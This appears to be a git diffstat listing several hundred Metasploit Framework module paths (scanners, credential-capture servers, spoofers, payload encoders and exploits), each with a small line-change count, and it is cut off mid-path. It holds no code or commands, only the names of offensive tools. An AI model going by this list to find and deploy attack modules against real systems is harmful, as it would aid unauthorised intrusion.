modules/auxiliary/scanner/sip/enumerator.rb | 6 ++---- modules/auxiliary/scanner/sip/enumerator_tcp.rb | 6 ++---- modules/auxiliary/scanner/sip/options.rb | 6 ++---- modules/auxiliary/scanner/sip/options_tcp.rb | 6 ++---- modules/auxiliary/scanner/sip/sipdroid_ext_enum.rb | 6 ++---- modules/auxiliary/scanner/smb/pipe_auditor.rb | 6 ++---- modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb | 6 ++---- modules/auxiliary/scanner/smb/psexec_loggedin_users.rb | 6 ++---- modules/auxiliary/scanner/smb/smb2.rb | 6 ++---- modules/auxiliary/scanner/smb/smb_enumshares.rb | 5 ++--- modules/auxiliary/scanner/smb/smb_enumusers.rb | 6 ++---- modules/auxiliary/scanner/smb/smb_enumusers_domain.rb | 6 ++---- modules/auxiliary/scanner/smb/smb_login.rb | 6 ++---- modules/auxiliary/scanner/smb/smb_lookupsid.rb | 6 ++---- modules/auxiliary/scanner/smb/smb_version.rb | 6 ++---- modules/auxiliary/scanner/smtp/smtp_enum.rb | 6 ++---- modules/auxiliary/scanner/smtp/smtp_relay.rb | 6 ++---- modules/auxiliary/scanner/smtp/smtp_version.rb | 6 ++---- modules/auxiliary/scanner/snmp/aix_version.rb | 6 ++---- modules/auxiliary/scanner/snmp/cisco_config_tftp.rb | 6 ++---- modules/auxiliary/scanner/snmp/cisco_upload_file.rb | 6 ++---- modules/auxiliary/scanner/snmp/snmp_enum.rb | 6 ++---- modules/auxiliary/scanner/snmp/snmp_enumshares.rb | 6 ++---- modules/auxiliary/scanner/snmp/snmp_enumusers.rb | 6 ++---- modules/auxiliary/scanner/snmp/snmp_login.rb | 6 ++---- modules/auxiliary/scanner/snmp/snmp_set.rb | 6 ++---- .../auxiliary/scanner/snmp/xerox_workcentre_enumusers.rb | 6 ++---- modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb | 6 ++---- modules/auxiliary/scanner/ssh/ssh_login.rb | 6 ++---- modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb | 6 ++---- modules/auxiliary/scanner/ssh/ssh_version.rb | 6 ++---- modules/auxiliary/scanner/telephony/wardial.rb | 6 ++---- .../auxiliary/scanner/telnet/lantronix_telnet_password.rb | 6 ++---- .../auxiliary/scanner/telnet/lantronix_telnet_version.rb | 6 ++---- modules/auxiliary/scanner/telnet/telnet_encrypt_overflow.rb | 6 ++---- modules/auxiliary/scanner/telnet/telnet_login.rb | 6 ++---- modules/auxiliary/scanner/telnet/telnet_ruggedcom.rb | 5 ++--- modules/auxiliary/scanner/telnet/telnet_version.rb | 6 ++---- modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb | 6 ++---- modules/auxiliary/scanner/tftp/netdecision_tftp.rb | 6 ++---- modules/auxiliary/scanner/tftp/tftpbrute.rb | 6 ++---- modules/auxiliary/scanner/upnp/ssdp_msearch.rb | 6 ++---- modules/auxiliary/scanner/vmware/esx_fingerprint.rb | 6 ++---- modules/auxiliary/scanner/vmware/vmauthd_login.rb | 6 ++---- modules/auxiliary/scanner/vmware/vmauthd_version.rb | 6 ++---- modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb | 6 ++---- modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb | 6 ++---- modules/auxiliary/scanner/vmware/vmware_enum_users.rb | 6 ++---- modules/auxiliary/scanner/vmware/vmware_enum_vms.rb | 6 ++---- modules/auxiliary/scanner/vmware/vmware_host_details.rb | 6 ++---- modules/auxiliary/scanner/vmware/vmware_http_login.rb | 6 ++---- .../auxiliary/scanner/vmware/vmware_screenshot_stealer.rb | 6 ++---- modules/auxiliary/scanner/vnc/vnc_login.rb | 6 ++---- modules/auxiliary/scanner/vnc/vnc_none_auth.rb | 6 ++---- modules/auxiliary/scanner/voice/recorder.rb | 6 ++---- modules/auxiliary/scanner/vxworks/wdbrpc_bootline.rb | 6 ++---- modules/auxiliary/scanner/vxworks/wdbrpc_version.rb | 6 ++---- modules/auxiliary/scanner/winrm/winrm_auth_methods.rb | 6 ++---- modules/auxiliary/scanner/winrm/winrm_cmd.rb | 6 ++---- modules/auxiliary/scanner/winrm/winrm_login.rb | 6 ++---- modules/auxiliary/scanner/winrm/winrm_wql.rb | 6 ++---- modules/auxiliary/scanner/x11/open_x11.rb | 6 ++---- modules/auxiliary/server/browser_autopwn.rb | 6 ++---- modules/auxiliary/server/capture/drda.rb | 6 ++---- modules/auxiliary/server/capture/ftp.rb | 6 ++---- modules/auxiliary/server/capture/http.rb | 6 ++---- modules/auxiliary/server/capture/http_basic.rb | 5 ++--- .../auxiliary/server/capture/http_javascript_keylogger.rb | 5 ++--- modules/auxiliary/server/capture/http_ntlm.rb | 6 ++---- modules/auxiliary/server/capture/imap.rb | 6 ++---- modules/auxiliary/server/capture/mssql.rb | 6 ++---- modules/auxiliary/server/capture/mysql.rb | 6 ++---- modules/auxiliary/server/capture/pop3.rb | 6 ++---- modules/auxiliary/server/capture/postgresql.rb | 6 ++---- modules/auxiliary/server/capture/printjob_capture.rb | 6 ++---- modules/auxiliary/server/capture/sip.rb | 6 ++---- modules/auxiliary/server/capture/smb.rb | 6 ++---- modules/auxiliary/server/capture/smtp.rb | 6 ++---- modules/auxiliary/server/capture/telnet.rb | 6 ++---- modules/auxiliary/server/capture/vnc.rb | 6 ++---- modules/auxiliary/server/dhcp.rb | 6 ++---- modules/auxiliary/server/dns/spoofhelper.rb | 6 ++---- modules/auxiliary/server/fakedns.rb | 6 ++---- modules/auxiliary/server/ftp.rb | 6 ++---- modules/auxiliary/server/http_ntlmrelay.rb | 5 ++--- modules/auxiliary/server/icmp_exfil.rb | 6 ++---- modules/auxiliary/server/pxexploit.rb | 6 ++---- modules/auxiliary/server/socks4a.rb | 6 ++---- modules/auxiliary/server/socks_unc.rb | 6 ++---- modules/auxiliary/server/tftp.rb | 6 ++---- modules/auxiliary/server/webkit_xslt_dropper.rb | 6 ++---- modules/auxiliary/server/wpad.rb | 6 ++---- modules/auxiliary/sniffer/psnuffle.rb | 6 ++---- modules/auxiliary/spoof/arp/arp_poisoning.rb | 6 ++---- modules/auxiliary/spoof/cisco/dtp.rb | 6 ++---- modules/auxiliary/spoof/dns/bailiwicked_domain.rb | 6 ++---- modules/auxiliary/spoof/dns/bailiwicked_host.rb | 6 ++---- modules/auxiliary/spoof/dns/compare_results.rb | 6 ++---- modules/auxiliary/spoof/llmnr/llmnr_response.rb | 6 ++---- modules/auxiliary/spoof/nbns/nbns_response.rb | 6 ++---- modules/auxiliary/spoof/replay/pcap_replay.rb | 6 ++---- modules/auxiliary/spoof/wifi/airpwn.rb | 6 ++---- modules/auxiliary/spoof/wifi/dnspwn.rb | 6 ++---- modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb | 6 ++---- modules/auxiliary/sqli/oracle/dbms_cdc_publish.rb | 6 ++---- modules/auxiliary/sqli/oracle/dbms_cdc_publish2.rb | 6 ++---- modules/auxiliary/sqli/oracle/dbms_cdc_publish3.rb | 6 ++---- .../sqli/oracle/dbms_cdc_subscribe_activate_subscription.rb | 6 ++---- modules/auxiliary/sqli/oracle/dbms_export_extension.rb | 6 ++---- .../auxiliary/sqli/oracle/dbms_metadata_get_granted_xml.rb | 6 ++---- modules/auxiliary/sqli/oracle/dbms_metadata_get_xml.rb | 6 ++---- modules/auxiliary/sqli/oracle/dbms_metadata_open.rb | 6 ++---- modules/auxiliary/sqli/oracle/droptable_trigger.rb | 6 ++---- modules/auxiliary/sqli/oracle/jvm_os_code_10g.rb | 6 ++---- modules/auxiliary/sqli/oracle/jvm_os_code_11g.rb | 6 ++---- modules/auxiliary/sqli/oracle/lt_compressworkspace.rb | 6 ++---- modules/auxiliary/sqli/oracle/lt_findricset_cursor.rb | 6 ++---- modules/auxiliary/sqli/oracle/lt_mergeworkspace.rb | 6 ++---- modules/auxiliary/sqli/oracle/lt_removeworkspace.rb | 6 ++---- modules/auxiliary/sqli/oracle/lt_rollbackworkspace.rb | 6 ++---- modules/auxiliary/voip/asterisk_login.rb | 6 ++---- modules/auxiliary/voip/sip_deregister.rb | 6 ++---- modules/auxiliary/voip/sip_invite_spoof.rb | 6 ++---- modules/auxiliary/vsploit/malware/dns/dns_mariposa.rb | 6 ++---- modules/auxiliary/vsploit/malware/dns/dns_query.rb | 6 ++---- modules/auxiliary/vsploit/malware/dns/dns_zeus.rb | 6 ++---- modules/auxiliary/vsploit/pii/email_pii.rb | 6 ++---- modules/auxiliary/vsploit/pii/web_pii.rb | 6 ++---- modules/encoders/cmd/generic_sh.rb | 6 ++---- modules/encoders/cmd/ifs.rb | 6 ++---- modules/encoders/cmd/printf_php_mq.rb | 6 ++---- modules/encoders/generic/none.rb | 6 ++---- modules/encoders/mipsbe/longxor.rb | 6 ++---- modules/encoders/mipsle/longxor.rb | 6 ++---- modules/encoders/php/base64.rb | 6 ++---- modules/encoders/ppc/longxor.rb | 6 ++---- modules/encoders/ppc/longxor_tag.rb | 6 ++---- modules/encoders/sparc/longxor_tag.rb | 6 ++---- modules/encoders/x64/xor.rb | 6 ++---- modules/encoders/x86/add_sub.rb | 6 ++---- modules/encoders/x86/alpha_mixed.rb | 6 ++---- modules/encoders/x86/alpha_upper.rb | 6 ++---- modules/encoders/x86/avoid_underscore_tolower.rb | 6 ++---- modules/encoders/x86/avoid_utf8_tolower.rb | 6 ++---- modules/encoders/x86/bloxor.rb | 5 ++--- modules/encoders/x86/call4_dword_xor.rb | 6 ++---- modules/encoders/x86/context_cpuid.rb | 6 ++---- modules/encoders/x86/context_stat.rb | 6 ++---- modules/encoders/x86/context_time.rb | 6 ++---- modules/encoders/x86/countdown.rb | 6 ++---- modules/encoders/x86/fnstenv_mov.rb | 6 ++---- modules/encoders/x86/jmp_call_additive.rb | 6 ++---- modules/encoders/x86/nonalpha.rb | 6 ++---- modules/encoders/x86/nonupper.rb | 6 ++---- modules/encoders/x86/shikata_ga_nai.rb | 6 ++---- modules/encoders/x86/single_static_bit.rb | 6 ++---- modules/encoders/x86/unicode_mixed.rb | 6 ++---- modules/encoders/x86/unicode_upper.rb | 6 ++---- modules/exploits/aix/rpc_cmsd_opcode21.rb | 6 ++---- modules/exploits/aix/rpc_ttdbserverd_realpath.rb | 6 ++---- modules/exploits/apple_ios/browser/safari_libtiff.rb | 6 ++---- modules/exploits/apple_ios/email/mobilemail_libtiff.rb | 6 ++---- modules/exploits/apple_ios/ssh/cydia_default_ssh.rb | 5 ++--- modules/exploits/bsdi/softcart/mercantec_softcart.rb | 6 ++---- modules/exploits/dialup/multi/login/manyargs.rb | 6 ++---- modules/exploits/freebsd/ftp/proftp_telnet_iac.rb | 6 ++---- modules/exploits/freebsd/local/mmap.rb | 6 ++---- modules/exploits/freebsd/samba/trans2open.rb | 6 ++---- modules/exploits/freebsd/tacacs/xtacacsd_report.rb | 6 ++---- modules/exploits/freebsd/telnet/telnet_encrypt_keyid.rb | 6 ++---- modules/exploits/hpux/lpd/cleanup_exec.rb | 6 ++---- modules/exploits/irix/lpd/tagprinter_exec.rb | 6 ++---- .../exploits/linux/browser/adobe_flashplayer_aslaunch.rb | 6 ++---- modules/exploits/linux/ftp/proftp_sreplace.rb | 6 ++---- modules/exploits/linux/ftp/proftp_telnet_iac.rb | 6 ++---- modules/exploits/linux/games/ut2004_secure.rb | 6 ++---- .../exploits/linux/http/alcatel_omnipcx_mastercgi_exec.rb | 6 ++---- modules/exploits/linux/http/astium_sqli_upload.rb | 5 ++--- modules/exploits/linux/http/ddwrt_cgibin_exec.rb | 6 ++---- .../exploits/linux/http/dlink_command_php_exec_noauth.rb | 6 ++---- modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb | 6 ++---- modules/exploits/linux/http/dlink_dir300_exec_telnet.rb | 6 ++---- modules/exploits/linux/http/dlink_dir615_up_exec.rb | 6 ++---- modules/exploits/linux/http/dlink_upnp_exec_noauth.rb | 6 ++---- .../exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb | 6 ++---- modules/exploits/linux/http/dolibarr_cmd_exec.rb | 5 ++--- modules/exploits/linux/http/dreambox_openpli_shell.rb | 6 ++---- modules/exploits/linux/http/esva_exec.rb | 5 ++--- .../linux/http/foreman_openstack_satellite_code_exec.rb | 6 ++---- modules/exploits/linux/http/gpsd_format_string.rb | 6 ++---- modules/exploits/linux/http/groundwork_monarch_cmd_exec.rb | 5 ++--- modules/exploits/linux/http/hp_system_management.rb | 6 ++---- modules/exploits/linux/http/linksys_apply_cgi.rb | 6 ++---- modules/exploits/linux/http/linksys_e1500_apply_exec.rb | 6 ++---- modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb | 6 ++---- modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb | 6 ++---- modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb | 6 ++---- modules/exploits/linux/http/mutiny_frontend_upload.rb | 6 ++---- modules/exploits/linux/http/netgear_dgn1000b_setup_exec.rb | 6 ++---- modules/exploits/linux/http/netgear_dgn2200b_pppoe_exec.rb | 6 ++---- modules/exploits/linux/http/nginx_chunked_size.rb | 6 ++---- modules/exploits/linux/http/openfiler_networkcard_exec.rb | 5 ++--- modules/exploits/linux/http/peercast_url.rb | 6 ++---- modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb | 6 ++---- modules/exploits/linux/http/pineapp_livelog_exec.rb | 6 ++---- modules/exploits/linux/http/pineapp_test_li_conn_exec.rb | 6 ++---- modules/exploits/linux/http/piranha_passwd_exec.rb | 6 ++---- .../exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb | 6 ++---- modules/exploits/linux/http/sophos_wpa_sblistpack_exec.rb | 6 ++---- modules/exploits/linux/http/symantec_web_gateway_exec.rb | 5 ++--- .../exploits/linux/http/symantec_web_gateway_file_upload.rb | 5 ++--- modules/exploits/linux/http/symantec_web_gateway_lfi.rb | 5 ++--- .../exploits/linux/http/symantec_web_gateway_pbcontrol.rb | 5 ++--- modules/exploits/linux/http/vcms_upload.rb | 5 ++--- modules/exploits/linux/http/wanem_exec.rb | 6 ++---- modules/exploits/linux/http/webcalendar_settings_exec.rb | 5 ++--- modules/exploits/linux/http/webid_converter.rb | 6 ++---- modules/exploits/linux/http/zabbix_sqli.rb | 5 ++--- modules/exploits/linux/http/zen_load_balancer_exec.rb | 5 ++--- .../exploits/linux/http/zenoss_showdaemonxmlconfig_exec.rb | 5 ++--- modules/exploits/linux/ids/snortbopre.rb | 6 ++---- modules/exploits/linux/imap/imap_uw_lsub.rb | 6 ++---- modules/exploits/linux/local/hp_smhstart.rb | 6 ++---- modules/exploits/linux/local/kloxo_lxsuexec.rb | 6 ++---- modules/exploits/linux/local/sock_sendpage.rb | 6 ++---- modules/exploits/linux/local/sophos_wpa_clear_keys.rb | 6 ++---- modules/exploits/linux/local/udev_netlink.rb | 6 ++---- modules/exploits/linux/local/vmware_mount.rb | 6 ++---- modules/exploits/linux/local/zpanel_zsudo.rb | 6 ++---- modules/exploits/linux/madwifi/madwifi_giwscan_cb.rb | 6 ++---- modules/exploits/linux/misc/accellion_fta_mpipe2.rb | 6 ++---- modules/exploits/linux/misc/drb_remote_codeexec.rb | 6 ++---- modules/exploits/linux/misc/gld_postfix.rb | 6 ++---- modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb | 5 ++--- modules/exploits/linux/misc/hp_vsa_login_bof.rb | 5 ++--- modules/exploits/linux/misc/hplip_hpssd_exec.rb | 6 ++---- modules/exploits/linux/misc/ib_inet_connect.rb | 6 ++---- modules/exploits/linux/misc/ib_jrd8_create_database.rb | 6 ++---- modules/exploits/linux/misc/ib_open_marker_file.rb | 6 ++---- modules/exploits/linux/misc/ib_pwd_db_aliased.rb | 6 ++---- modules/exploits/linux/misc/lprng_format_string.rb | 6 ++---- modules/exploits/linux/misc/mongod_native_helper.rb | 6 ++---- modules/exploits/linux/misc/nagios_nrpe_arguments.rb | 6 ++---- modules/exploits/linux/misc/netsupport_manager_agent.rb | 6 ++---- modules/exploits/linux/misc/novell_edirectory_ncp_bof.rb | 5 ++--- modules/exploits/linux/misc/zabbix_server_exec.rb | 6 ++---- modules/exploits/linux/mysql/mysql_yassl_getname.rb | 6 ++---- modules/exploits/linux/mysql/mysql_yassl_hello.rb | 6 ++---- modules/exploits/linux/pop3/cyrus_pop3d_popsubfolders.rb | 6 ++---- modules/exploits/linux/postgres/postgres_payload.rb | 6 ++---- modules/exploits/linux/pptp/poptop_negative_read.rb | 6 ++---- modules/exploits/linux/proxy/squid_ntlm_authenticate.rb | 6 ++---- modules/exploits/linux/samba/chain_reply.rb | 6 ++---- modules/exploits/linux/samba/lsa_transnames_heap.rb | 6 ++---- modules/exploits/linux/samba/setinfopolicy_heap.rb | 6 ++---- modules/exploits/linux/samba/trans2open.rb | 6 ++---- modules/exploits/linux/smtp/exim4_dovecot_exec.rb | 6 ++---- modules/exploits/linux/ssh/f5_bigip_known_privkey.rb | 6 ++---- modules/exploits/linux/ssh/symantec_smg_ssh.rb | 5 ++--- modules/exploits/linux/telnet/telnet_encrypt_keyid.rb | 6 ++---- modules/exploits/linux/upnp/miniupnpd_soap_bof.rb | 5 ++--- modules/exploits/multi/browser/firefox_escape_retval.rb | 6 ++---- modules/exploits/multi/browser/firefox_queryinterface.rb | 6 ++---- modules/exploits/multi/browser/firefox_svg_plugin.rb | 6 ++---- .../multi/browser/firefox_xpi_bootstrapped_addon.rb | 6 ++---- modules/exploits/multi/browser/itms_overflow.rb | 6 ++---- modules/exploits/multi/browser/java_atomicreferencearray.rb | 5 ++--- modules/exploits/multi/browser/java_calendar_deserialize.rb | 6 ++---- modules/exploits/multi/browser/java_getsoundbank_bof.rb | 6 ++---- modules/exploits/multi/browser/java_jre17_driver_manager.rb | 6 ++---- modules/exploits/multi/browser/java_jre17_exec.rb | 6 ++---- .../java_jre17_glassfish_averagerangestatisticimpl.rb | 6 ++---- modules/exploits/multi/browser/java_jre17_jaxws.rb | 6 ++---- modules/exploits/multi/browser/java_jre17_jmxbean.rb | 6 ++---- modules/exploits/multi/browser/java_jre17_jmxbean_2.rb | 6 ++---- modules/exploits/multi/browser/java_jre17_method_handle.rb | 6 ++---- .../exploits/multi/browser/java_jre17_provider_skeleton.rb | 6 ++---- .../exploits/multi/browser/java_jre17_reflection_types.rb | 6 ++---- modules/exploits/multi/browser/java_rhino.rb | 6 ++---- modules/exploits/multi/browser/java_rmi_connection_impl.rb | 6 ++---- modules/exploits/multi/browser/java_setdifficm_bof.rb | 6 ++---- modules/exploits/multi/browser/java_signed_applet.rb | 6 ++---- modules/exploits/multi/browser/java_storeimagearray.rb | 6 ++---- modules/exploits/multi/browser/java_trusted_chain.rb | 6 ++---- .../exploits/multi/browser/java_verifier_field_access.rb | 5 ++--- modules/exploits/multi/browser/mozilla_compareto.rb | 6 ++---- modules/exploits/multi/browser/mozilla_navigatorjava.rb | 6 ++---- modules/exploits/multi/browser/opera_configoverwrite.rb | 6 ++---- modules/exploits/multi/browser/opera_historysearch.rb | 6 ++---- modules/exploits/multi/browser/qtjava_pointer.rb | 6 ++---- modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb | 6 ++---- modules/exploits/multi/fileformat/maple_maplet.rb | 6 ++---- .../multi/fileformat/nodejs_js_yaml_load_code_exec.rb | 6 ++---- .../exploits/multi/fileformat/peazip_command_injection.rb | 6 ++---- modules/exploits/multi/ftp/wuftpd_site_exec_format.rb | 6 ++---- modules/exploits/multi/handler.rb | 6 ++---- modules/exploits/multi/http/activecollab_chat.rb | 6 ++---- modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb | 6 ++---- modules/exploits/multi/http/apprain_upload_exec.rb | 5 ++--- modules/exploits/multi/http/auxilium_upload_exec.rb | 5 ++--- modules/exploits/multi/http/axis2_deployer.rb | 6 ++---- modules/exploits/multi/http/cuteflow_upload_exec.rb | 5 ++--- modules/exploits/multi/http/eaton_nsm_code_exec.rb | 6 ++---- modules/exploits/multi/http/extplorer_upload_exec.rb | 5 ++--- modules/exploits/multi/http/familycms_less_exec.rb | 6 ++---- modules/exploits/multi/http/freenas_exec_raw.rb | 6 ++---- modules/exploits/multi/http/gestioip_exec.rb | 5 ++--- modules/exploits/multi/http/gitorious_graph.rb | 6 ++---- modules/exploits/multi/http/glassfish_deployer.rb | 6 ++---- modules/exploits/multi/http/glossword_upload_exec.rb | 5 ++--- modules/exploits/multi/http/glpi_install_rce.rb | 6 ++---- modules/exploits/multi/http/horde_href_backdoor.rb | 6 ++---- .../exploits/multi/http/hp_sitescope_uploadfileshandler.rb | 6 ++---- modules/exploits/multi/http/hp_sys_mgmt_exec.rb | 5 ++--- modules/exploits/multi/http/hyperic_hq_script_console.rb | 5 ++--- modules/exploits/multi/http/jboss_bshdeployer.rb | 6 ++---- .../exploits/multi/http/jboss_deploymentfilerepository.rb | 6 ++---- modules/exploits/multi/http/jboss_invoke_deploy.rb | 6 ++---- modules/exploits/multi/http/jboss_maindeployer.rb | 6 ++---- modules/exploits/multi/http/jenkins_script_console.rb | 5 ++--- modules/exploits/multi/http/kordil_edms_upload_exec.rb | 5 ++--- modules/exploits/multi/http/lcms_php_exec.rb | 5 ++--- .../exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb | 6 ++---- modules/exploits/multi/http/log1cms_ajax_create_folder.rb | 5 ++--- modules/exploits/multi/http/manageengine_search_sqli.rb | 5 ++--- modules/exploits/multi/http/mobilecartly_upload_exec.rb | 5 ++--- modules/exploits/multi/http/movabletype_upgrade_exec.rb | 6 ++---- modules/exploits/multi/http/mutiny_subnetmask_exec.rb | 6 ++---- modules/exploits/multi/http/netwin_surgeftp_exec.rb | 5 ++--- modules/exploits/multi/http/op5_license.rb | 6 ++---- modules/exploits/multi/http/op5_welcome.rb | 6 ++---- modules/exploits/multi/http/openfire_auth_bypass.rb | 5 ++--- modules/exploits/multi/http/openx_backdoor_php.rb | 6 ++---- modules/exploits/multi/http/php_cgi_arg_injection.rb | 6 ++---- modules/exploits/multi/http/php_volunteer_upload_exec.rb | 5 ++--- modules/exploits/multi/http/phpldapadmin_query_engine.rb | 6 ++---- modules/exploits/multi/http/phpmyadmin_3522_backdoor.rb | 6 ++---- modules/exploits/multi/http/phpmyadmin_preg_replace.rb | 6 ++---- modules/exploits/multi/http/phpscheduleit_start_date.rb | 6 ++---- modules/exploits/multi/http/phptax_exec.rb | 5 ++--- modules/exploits/multi/http/plone_popen2.rb | 6 ++---- modules/exploits/multi/http/pmwiki_pagelist.rb | 6 ++---- modules/exploits/multi/http/polarcms_upload_exec.rb | 5 ++--- modules/exploits/multi/http/qdpm_upload_exec.rb | 5 ++--- modules/exploits/multi/http/rails_json_yaml_code_exec.rb | 6 ++---- modules/exploits/multi/http/rails_secret_deserialization.rb | 6 ++---- modules/exploits/multi/http/rails_xml_yaml_code_exec.rb | 6 ++---- modules/exploits/multi/http/sflog_upload_exec.rb | 5 ++--- modules/exploits/multi/http/sit_file_upload.rb | 6 ++---- modules/exploits/multi/http/snortreport_exec.rb | 6 ++---- modules/exploits/multi/http/sonicwall_gms_upload.rb | 6 ++---- modules/exploits/multi/http/splunk_mappy_exec.rb | 6 ++---- modules/exploits/multi/http/splunk_upload_app_exec.rb | 6 ++---- modules/exploits/multi/http/spree_search_exec.rb | 6 ++---- modules/exploits/multi/http/spree_searchlogic_exec.rb | 6 ++---- modules/exploits/multi/http/struts_code_exec.rb | 6 ++---- .../multi/http/struts_code_exec_exception_delegator.rb | 6 ++---- modules/exploits/multi/http/struts_code_exec_parameters.rb | 6 ++---- modules/exploits/multi/http/struts_default_action_mapper.rb | 6 ++---- modules/exploits/multi/http/struts_include_params.rb | 6 ++---- modules/exploits/multi/http/stunshell_eval.rb | 6 ++---- modules/exploits/multi/http/stunshell_exec.rb | 6 ++---- modules/exploits/multi/http/sun_jsws_dav_options.rb | 6 ++---- modules/exploits/multi/http/testlink_upload_exec.rb | 5 ++--- modules/exploits/multi/http/tomcat_mgr_deploy.rb | 6 ++---- modules/exploits/multi/http/traq_plugin_exec.rb | 6 ++---- modules/exploits/multi/http/v0pcr3w_exec.rb | 6 ++---- modules/exploits/multi/http/vbseo_proc_deutf.rb | 6 ++---- modules/exploits/multi/http/webpagetest_upload_exec.rb | 5 ++--- modules/exploits/multi/http/wikka_spam_exec.rb | 5 ++--- .../exploits/multi/http/zenworks_control_center_upload.rb | 6 ++---- modules/exploits/multi/ids/snort_dce_rpc.rb | 6 ++---- modules/exploits/multi/misc/batik_svg_java.rb | 5 ++--- modules/exploits/multi/misc/hp_vsa_exec.rb | 5 ++--- modules/exploits/multi/misc/indesign_server_soap.rb | 5 ++--- modules/exploits/multi/misc/java_rmi_server.rb | 6 ++---- modules/exploits/multi/misc/openview_omniback_exec.rb | 6 ++---- modules/exploits/multi/misc/pbot_exec.rb | 6 ++---- modules/exploits/multi/misc/ra1nx_pubcall_exec.rb | 6 ++---- modules/exploits/multi/misc/veritas_netbackup_cmdexec.rb | 6 ++---- .../exploits/multi/misc/wireshark_lwres_getaddrbyname.rb | 6 ++---- .../multi/misc/wireshark_lwres_getaddrbyname_loop.rb | 6 ++---- modules/exploits/multi/misc/zend_java_bridge.rb | 6 ++---- modules/exploits/multi/ntp/ntp_overflow.rb | 6 ++---- modules/exploits/multi/php/php_unserialize_zval_cookie.rb | 6 ++---- modules/exploits/multi/realserver/describe.rb | 6 ++---- modules/exploits/multi/samba/nttrans.rb | 6 ++---- modules/exploits/multi/samba/usermap_script.rb | 6 ++---- modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb | 6 ++---- .../multi/sap/sap_soap_rfc_sxpg_call_system_exec.rb | 4 ++-- .../exploits/multi/sap/sap_soap_rfc_sxpg_command_exec.rb | 4 ++-- modules/exploits/multi/ssh/sshexec.rb | 6 ++---- modules/exploits/multi/svn/svnserve_date.rb | 6 ++---- modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb | 6 ++---- modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb | 6 ++---- modules/exploits/netware/smb/lsass_cifs.rb | 6 ++---- modules/exploits/netware/sunrpc/pkernel_callit.rb | 6 ++---- modules/exploits/osx/afp/loginext.rb | 6 ++---- modules/exploits/osx/arkeia/type77.rb | 6 ++---- modules/exploits/osx/browser/mozilla_mchannel.rb | 6 ++---- modules/exploits/osx/browser/safari_file_policy.rb | 6 ++---- modules/exploits/osx/browser/safari_metadata_archive.rb | 6 ++---- modules/exploits/osx/browser/software_update.rb | 6 ++---- modules/exploits/osx/email/mailapp_image_exec.rb | 6 ++---- modules/exploits/osx/ftp/webstar_ftp_user.rb | 6 ++---- modules/exploits/osx/http/evocam_webserver.rb | 6 ++---- modules/exploits/osx/local/setuid_tunnelblick.rb | 6 ++---- modules/exploits/osx/local/setuid_viscosity.rb | 6 ++---- modules/exploits/osx/local/sudo_password_bypass.rb | 5 ++--- modules/exploits/osx/mdns/upnp_location.rb | 6 ++---- modules/exploits/osx/misc/ufo_ai.rb | 6 ++---- modules/exploits/osx/rtsp/quicktime_rtsp_content_type.rb | 6 ++---- modules/exploits/osx/samba/lsa_transnames_heap.rb | 6 ++---- modules/exploits/osx/samba/trans2open.rb | 6 ++---- modules/exploits/solaris/dtspcd/heap_noir.rb | 6 ++---- modules/exploits/solaris/lpd/sendmail_exec.rb | 6 ++---- modules/exploits/solaris/samba/lsa_transnames_heap.rb | 6 ++---- modules/exploits/solaris/samba/trans2open.rb | 6 ++---- modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb | 6 ++---- modules/exploits/solaris/sunrpc/sadmind_exec.rb | 6 ++---- modules/exploits/solaris/sunrpc/ypupdated_exec.rb | 6 ++---- modules/exploits/solaris/telnet/fuser.rb | 6 ++---- modules/exploits/solaris/telnet/ttyprompt.rb | 6 ++---- modules/exploits/unix/ftp/proftpd_133c_backdoor.rb | 6 ++---- modules/exploits/unix/ftp/vsftpd_234_backdoor.rb | 6 ++---- modules/exploits/unix/http/contentkeeperweb_mimencode.rb | 6 ++---- modules/exploits/unix/http/ctek_skyrouter.rb | 6 ++---- modules/exploits/unix/http/freepbx_callmenum.rb | 6 ++---- modules/exploits/unix/http/lifesize_room.rb | 6 ++---- modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb | 6 ++---- modules/exploits/unix/local/setuid_nmap.rb | 6 ++---- modules/exploits/unix/misc/distcc_exec.rb | 6 ++---- modules/exploits/unix/misc/qnx_qconn_exec.rb | 5 ++--- modules/exploits/unix/misc/spamassassin_exec.rb | 6 ++---- modules/exploits/unix/misc/zabbix_agent_exec.rb | 6 ++---- modules/exploits/unix/smtp/clamav_milter_blackhole.rb | 6 ++---- modules/exploits/unix/smtp/exim4_string_format.rb | 6 ++---- modules/exploits/unix/ssh/tectia_passwd_changereq.rb | 5 ++--- modules/exploits/unix/webapp/arkeia_upload_exec.rb | 5 ++--- modules/exploits/unix/webapp/awstats_configdir_exec.rb | 6 ++---- modules/exploits/unix/webapp/awstats_migrate_exec.rb | 6 ++---- modules/exploits/unix/webapp/awstatstotals_multisort.rb | 6 ++---- modules/exploits/unix/webapp/barracuda_img_exec.rb | 6 ++---- modules/exploits/unix/webapp/base_qry_common.rb | 6 ++---- modules/exploits/unix/webapp/basilic_diff_exec.rb | 6 ++---- modules/exploits/unix/webapp/cacti_graphimage_exec.rb | 6 ++---- modules/exploits/unix/webapp/cakephp_cache_corruption.rb | 6 ++---- modules/exploits/unix/webapp/carberp_backdoor_exec.rb | 6 ++---- modules/exploits/unix/webapp/citrix_access_gateway_exec.rb | 6 ++---- modules/exploits/unix/webapp/clipbucket_upload_exec.rb | 5 ++--- modules/exploits/unix/webapp/coppermine_piceditor.rb | 6 ++---- modules/exploits/unix/webapp/datalife_preview_exec.rb 